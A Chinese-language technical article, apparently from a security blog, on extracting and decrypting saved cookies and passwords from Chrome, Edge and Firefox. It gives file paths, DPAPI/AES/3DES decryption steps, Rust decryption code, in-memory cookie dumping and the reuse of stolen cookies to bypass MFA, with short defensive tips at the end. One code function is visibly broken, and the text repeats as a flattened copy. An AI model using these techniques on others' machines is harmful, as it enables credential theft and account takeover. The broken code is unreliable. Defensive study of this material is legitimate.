浏览器凭据获取 -- Cookies && Password
字数 2314 2025-08-05 08:19:10

浏览器凭据获取技术详解:Cookies与密码提取

一、Cookies获取技术

1. Cookies简介

Cookies在现代认证中扮演着重要角色,特别是在多因素认证(MFA)普及的背景下。仅凭账号密码往往无法访问受MFA保护的网站,而Cookies可以绕过这一限制。

2. Cookies获取方法

2.1 本地Cookies文件提取

原理

  • Chrome浏览器使用AES加密Cookies值
  • 加密密钥通过DPAPI加密保存
  • 加密后的Cookies存储在%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies

提取流程

  1. 复制Cookies文件并重命名为.db扩展名
  2. 使用数据库工具查看内容,encrypted_value字段为加密的Cookie值
  3. %LocalAppData%\Google\Chrome\User Data\Local State获取加密密钥
  4. 使用DPAPI解密密钥
  5. 用解密后的AES密钥解密Cookie值

优缺点

  • 优点:无视Cookie分区存储,可获取存储Cookie
  • 缺点:需要关闭浏览器,只能获取静态Cookie,某些网站需要动态Cookie

2.2 内存中提取Cookies

原理

  • Chromium内核浏览器启动时通过CookieMonster加载所有Cookie到内存
  • 扫描内存定位CookieMonster地址并转储Cookies

提取流程

  1. 定位chrome进程PID
  2. 查找chrome.dll基地址和大小
  3. 通过特征查询定位CookieMonster内存地址
  4. 读取每个Cookie内容

优缺点

  • 优点:无需关闭浏览器,获取所有Cookie(包括动态Cookie)
  • 缺点:无法获取分区存储的Cookie

工具ChromeKatz

3. Cookies利用技术

3.1 Cookies导入方法

  • 内存获取的Cookies可直接导入浏览器
  • 本地提取的存储型Cookie需要与网站交互获取动态Cookie
  • Chrome对Cookies文件有完整性检查,难以直接注入
  • Firefox的Cookies是明文存储且无完整性检查,可注入

3.2 关键代码实现

DPAPI解密代码

fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
    let len = crypted_bytes.len();
    let mut bytes = Vec::from(crypted_bytes);
    let pb = bytes.as_mut_ptr();
    let mut blob = CRYPTOAPI_BLOB {
        pbData: pb,
        cbData: len as u32,
    };
    let mut out = Vec::with_capacity(len);
    let mut blob_out = CRYPTOAPI_BLOB {
        pbData: out.as_mut_ptr(),
        cbData: out.len() as u32,
    };
    unsafe {
        CryptUnprotectData(
            &mut blob,
            std::ptr::null_mut(),
            std::ptr::null(),
            std::ptr::null_mut(),
            std::ptr::null(),
            0,
            &mut blob_out,
        )
        .ok()?;
        let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
        LocalFree(blob_out.pbData as isize);
        Ok(slice.to_vec())
    }
}

AES解密代码

pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
    if encrypted_value.len() == 0 {
        return (String::from(" "), Vec::new());
    }
    let iv: &[u8] = &encrypted_value[3..15];
    let encrypted_value = &encrypted_value[15..];
    let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
    if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
        if let Ok(decoded) = String::from_utf8(decrypted) {
            return (decoded, iv.to_vec());
        }
    }
    return (String::new(), Vec::new());
}

二、浏览器密码提取技术

1. Chromium内核浏览器密码提取

文件路径

  • Chrome密码文件:%LocalAppData%\Google\Chrome\User Data\Default\Login Data
  • Chrome密钥文件:%LocalAppData%\Google\Chrome\User Data\Local State
  • Edge密码文件:%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data
  • Edge密钥文件:%LocalAppData%\Microsoft\Edge\User Data\Local State

关键字段

  • origin_url - 网站URL
  • username_value - 用户名
  • password_value - 加密的密码

加密类型:DPAPI和AES加密

解密方法

  1. 复制密码文件并重命名为.db扩展名
  2. 使用DPAPI解密AES密钥
  3. 用AES密钥解密密码

2. Firefox密码提取

文件路径

  • 密码文件:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\logins.json
  • 密钥文件:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\key4.db

关键字段

  • hostname - URL
  • encryptedUsername - 加密的用户名
  • encryptedPassword - 加密的密码

加密类型:SHA256和3DES-CBC加密

2.1 算法解密方法

前提:Firefox的master password默认不设置(为空)

解密流程

  1. 从key4.db的metadata表和nssprivate表提取特定值
  2. 进行SHA1和SHA256处理获得3DES密钥
  3. 用3DES解密logins.json中的加密账号密码

关键代码

SHA1加密+PBKDF2解密

fn sha1_encrypt(entry_salt: Vec<u8>, interation_count: u32, hex_byte_salts: Vec<u8>, master_password: String) -> Vec<u8> {
    let mut sha1_hasher = Sha1::new();
    sha1_hasher.update(hex_byte_salts);
    sha1_hasher.update(master_password);
    let k = sha1_hasher.finalize().to_vec();
    let mut key = vec.unwrap();
    key
}

SHA256解密获取3DES密钥

fn sha256_decrypt(key: Vec<u8>, iv: Vec<u8>, ciphert: Vec<u8>) -> Vec<u8> {
    let key_array: &[u8; 32] = array_ref!(key, 0, 32);
    let cipher = Cipher::new_256(key_array);
    let decrypted = cipher.cbc_decrypt(&iv, &ciphert);
    decrypted[..24].to_vec()
}

3DES解密

pub fn des3_decrypt(key: Vec<u8>, encryptdata: &str) -> String {
    let base53_data = base64::decode(encryptdata).unwrap();
    let iv = &base53_data[34..42];
    let mut ciphertext = base53_data[44..].to_vec();
    type TDesCbc = Decryptor<TdesEde3>;
    let tdes = TDesCbc::new_from_slices(&key, iv).unwrap();
    let result = tdes.decrypt_padded_mut::<Pkcs7>(&mut ciphertext).unwrap();
    String::from_utf8(result.to_vec()).unwrap()
}

2.2 调用nss3.dll解密

关键函数

  • NSS_Init - nss初始化
  • PK11_GetInternalKeySlot - 获取内置密钥槽
  • PK11_CheckUserPassword - 验证用户密码
  • PK11_Authenticate - 对密钥槽授权
  • PK11SDR_Decrypt - 解密

参考实现firefox_decrypt

三、防御建议

  1. 使用主密码保护浏览器存储的凭据
  2. 定期清理浏览器Cookies
  3. 启用Cookie分区存储功能
  4. 对敏感网站使用独立的浏览器配置文件
  5. 考虑使用密码管理器而非浏览器内置的密码存储
  6. 定期检查浏览器扩展权限

四、总结

本文详细介绍了浏览器Cookies和密码的提取技术,包括从本地文件和内存中获取凭据的方法,以及针对Chromium和Firefox的不同解密技术。这些技术展示了浏览器凭据存储的潜在安全风险,强调了加强浏览器安全配置的重要性。

浏览器凭据获取技术详解:Cookies与密码提取 一、Cookies获取技术 1. Cookies简介 Cookies在现代认证中扮演着重要角色,特别是在多因素认证(MFA)普及的背景下。仅凭账号密码往往无法访问受MFA保护的网站,而Cookies可以绕过这一限制。 2. Cookies获取方法 2.1 本地Cookies文件提取 原理 : Chrome浏览器使用AES加密Cookies值 加密密钥通过DPAPI加密保存 加密后的Cookies存储在 %LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies 提取流程 : 复制Cookies文件并重命名为.db扩展名 使用数据库工具查看内容, encrypted_value 字段为加密的Cookie值 从 %LocalAppData%\Google\Chrome\User Data\Local State 获取加密密钥 使用DPAPI解密密钥 用解密后的AES密钥解密Cookie值 优缺点 : 优点:无视Cookie分区存储,可获取存储Cookie 缺点:需要关闭浏览器,只能获取静态Cookie,某些网站需要动态Cookie 2.2 内存中提取Cookies 原理 : Chromium内核浏览器启动时通过CookieMonster加载所有Cookie到内存 扫描内存定位CookieMonster地址并转储Cookies 提取流程 : 定位chrome进程PID 查找chrome.dll基地址和大小 通过特征查询定位CookieMonster内存地址 读取每个Cookie内容 优缺点 : 优点:无需关闭浏览器,获取所有Cookie(包括动态Cookie) 缺点:无法获取分区存储的Cookie 工具 : ChromeKatz 3. Cookies利用技术 3.1 Cookies导入方法 内存获取的Cookies可直接导入浏览器 本地提取的存储型Cookie需要与网站交互获取动态Cookie Chrome对Cookies文件有完整性检查,难以直接注入 Firefox的Cookies是明文存储且无完整性检查,可注入 3.2 关键代码实现 DPAPI解密代码 : AES解密代码 : 二、浏览器密码提取技术 1. Chromium内核浏览器密码提取 文件路径 : Chrome密码文件: %LocalAppData%\Google\Chrome\User Data\Default\Login Data Chrome密钥文件: %LocalAppData%\Google\Chrome\User Data\Local State Edge密码文件: %LocalAppData%\Microsoft\Edge\User Data\Default\Login Data Edge密钥文件: %LocalAppData%\Microsoft\Edge\User Data\Local State 关键字段 : origin_url - 网站URL username_value - 用户名 password_value - 加密的密码 加密类型 :DPAPI和AES加密 解密方法 : 复制密码文件并重命名为.db扩展名 使用DPAPI解密AES密钥 用AES密钥解密密码 2. Firefox密码提取 文件路径 : 密码文件: C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\logins.json 密钥文件: C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\key4.db 关键字段 : hostname - URL encryptedUsername - 加密的用户名 encryptedPassword - 加密的密码 加密类型 :SHA256和3DES-CBC加密 2.1 算法解密方法 前提 :Firefox的master password默认不设置(为空) 解密流程 : 从key4.db的metadata表和nssprivate表提取特定值 进行SHA1和SHA256处理获得3DES密钥 用3DES解密logins.json中的加密账号密码 关键代码 : SHA1加密+PBKDF2解密 : SHA256解密获取3DES密钥 : 3DES解密 : 2.2 调用nss3.dll解密 关键函数 : NSS_Init - nss初始化 PK11_GetInternalKeySlot - 获取内置密钥槽 PK11_CheckUserPassword - 验证用户密码 PK11_Authenticate - 对密钥槽授权 PK11SDR_Decrypt - 解密 参考实现 : firefox_ decrypt 三、防御建议 使用主密码保护浏览器存储的凭据 定期清理浏览器Cookies 启用Cookie分区存储功能 对敏感网站使用独立的浏览器配置文件 考虑使用密码管理器而非浏览器内置的密码存储 定期检查浏览器扩展权限 四、总结 本文详细介绍了浏览器Cookies和密码的提取技术,包括从本地文件和内存中获取凭据的方法,以及针对Chromium和Firefox的不同解密技术。这些技术展示了浏览器凭据存储的潜在安全风险,强调了加强浏览器安全配置的重要性。